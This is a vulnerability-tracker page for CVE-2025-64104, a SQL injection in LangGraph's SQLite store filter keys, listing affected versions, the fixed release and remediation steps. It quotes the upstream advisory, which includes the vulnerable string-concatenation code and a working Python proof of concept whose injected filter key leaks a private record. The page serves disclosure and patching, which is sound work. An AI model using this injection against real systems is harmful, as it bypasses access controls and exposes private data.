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  4. CVE 2025 64104 langgraph sqlite checkpoint filter key sql
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Back to active CVEs
High · CVSS 7.3CVE-2025-64104GHSA-7P73-8JQX-23R8

LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStoreCVE-2025-64104

Answer in brief

CVE-2025-64104 records a High severity (CVSS 7.3) vulnerability in LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore. The current sources do not mark it as known exploited. The current feed maps langgraph-checkpoint-sqlite (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 29, 2025Updated Oct 28, 2026Source checked Oct 28, 2026First seen by HOL Oct 15, 2026Material review Oct 28, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.3
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 7.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps langgraph-checkpoint-sqlite (pip). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
langgraph-checkpoint-sqlitepip<=2.0.102.0.11

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for langgraph-checkpoint-sqlite.
  2. 2Review the reported fix. Update langgraph-checkpoint-sqlite to 2.0.11 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 29, 2025

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 28, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live holdSame pip ecosystem
  • filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACLSame pip ecosystem
  • filelock: StrictSoftFileLock follows a symbolic link swapped in at <path>.filelock and creates claim files in a directory another local user choosesSame pip ecosystem
  • LangGraph: Unencoded identifiers in LangGraph SDK v3 streaming can redirect authenticated GET requestsSame pip ecosystem
  • LangGraph JavaScript custom authentication may permit cross-user Store accessSame pip ecosystem
  • rucio has an Authorization Bypass on REST API endpoint for signing URLsSame pip ecosystem

Record context

Vulnerability class
SQL Injection
EPSS
Not reported
CWE IDs
CWE-89
Source
GitHub Security Advisories
Source checked
Oct 28, 2026
References
5 linked sources
Open source record